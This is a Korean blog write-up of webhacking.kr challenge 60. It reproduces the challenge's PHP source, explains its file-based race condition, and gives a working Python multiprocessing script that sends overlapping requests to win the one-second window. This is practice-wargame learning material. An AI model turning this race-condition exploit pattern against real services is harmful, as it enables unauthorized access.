[webhacking.kr] 60번 문제 풀이[Race Condition]

1 분 소요

💡 Webhacking.kr challenge(old) 60번 문제에 대한 풀이입니다.

문제

image

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  login_chk();

  # 쿠키에 PHPSESSID가 숫자 인지 확인
  echo "Your idx is {$_SESSION['idx']}<hr>";
  if(!is_numeric($_COOKIE['PHPSESSID'])) exit("Access Denied<br><a href=./?view_source=1>view-source</a>");
  sleep(1);
  
  # mode = auth인 경우 
  if($_GET['mode']=="auth"){
    echo("Auth~<br>");
    $result = file_get_contents("./readme/{$_SESSION['idx']}.txt");
    if(preg_match("/{$_SESSION['idx']}/",$result)){
      echo("Done!");
      unlink("./readme/{$_SESSION['idx']}.txt");
      solve(60);
      exit();
    }
  }

  # 그냥 접속했을 경우
  $p = fopen("./readme/{$_SESSION['idx']}.txt","w");
  fwrite($p,$_SESSION['idx']);
  fclose($p);
  if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
    sleep(1);
    unlink("./readme/{$_SESSION['idx']}.txt");
  }
?>


문제 풀이

위의 php 소스코드를 해석하면 다음과 같습니다.

  1. 그냥 접속했을 경우
     $p = fopen("./readme/{$_SESSION['idx']}.txt","w");
      fwrite($p,$_SESSION['idx']);
      fclose($p);
      if($_SERVER['REMOTE_ADDR']!="127.0.0.1"){
     sleep(1);
     unlink("./readme/{$_SESSION['idx']}.txt");
      }
    

    저의 인덱스 값은 54522 입니다. 처음 접속하면 ./readme/54522.txt 파일을 생성하고, 해당 파일의 저의 인덱스인 54522를 적습니다. 그리고 REMOTE_ADDR 은 저의 IP라서 127.0.0.1이 아니므로 unlink 함수로 1초뒤에 해당 파일을 지웁니다.

  2. mode=auth 로 접속한 경우
      if($_GET['mode']=="auth"){
     echo("Auth~<br>");
     $result = file_get_contents("./readme/{$_SESSION['idx']}.txt");
     if(preg_match("/{$_SESSION['idx']}/",$result)){
       echo("Done!");
       unlink("./readme/{$_SESSION['idx']}.txt");
       solve(60);
       exit();
     }
      }
    

./read/54522.txt 파일에서 저의 인덱스 값인 54522를 비교하여 똑같으면 문제가 클리어 됩니다.

즉, 정리하면 mode를 입력하지 않고 접속한 뒤에, 1초 이내로 mode=auth를 주면서 재접속 하면 풀립니다.

문제를 풀때 동일 브라우저에서 창을 2개 키면, 2개를 동시에 접속해도 문제가 풀리지 않습니다. 따라서 이번 문제를 풀 때는 하나의 브라우저는 원래 쓰던 브라우저를 쓰고, 다른 브라우저를 통해서 1초안에 접속하면 문제가 풀립니다.

저는 파이썬을 이용해서 이를 풀었습니다.

파이썬의 multiprocessing 라이브러리를 사용하여 프로세스를 2개 생성한다음 하나는 그냥접속, 다른 하나는 mode=auth를 주면서 접속을 하였습니다.

import requests
from multiprocessing import Pool
import random
import time

random.seed(time.time())

# 쿠키의 PHPSESSID를 정수값이 들어가도록 해준다.
def login(session):
    session.get("https://webhacking.kr")
    rand = str(random.randint(1,10000000))
    session.cookies.clear()
    session.cookies.update({'PHPSESSID':rand})
    datas = {}
    print(" ------------ login ----------------------")
    datas['id'] = 'oksusu98'
    datas['pw'] = '비밀번호'
    response = session.post("https://webhacking.kr/login.php?login",data=datas)
    if( "<script>location.href='/';</script>" in response.text):
        print("login success : ",datas['id'])
    else:
        print("login Fail")
        exit(0)


def solve(param):
    url = 'https://webhacking.kr/challenge/web-37/'
    session = requests.session()
    login(session)
#    print(session.cookies)
    response = session.get(url,params={'mode':param})
    return response.text
    


if __name__ == '__main__':
    p = Pool(4)
    ret1 = p.apply_async(solve,('make',))
    time.sleep(0.3)
    ret2 = p.apply_async(solve,('auth',))

    print(ret1.get())
    print(ret2.get())

    p.close()
    p.join()

image

댓글남기기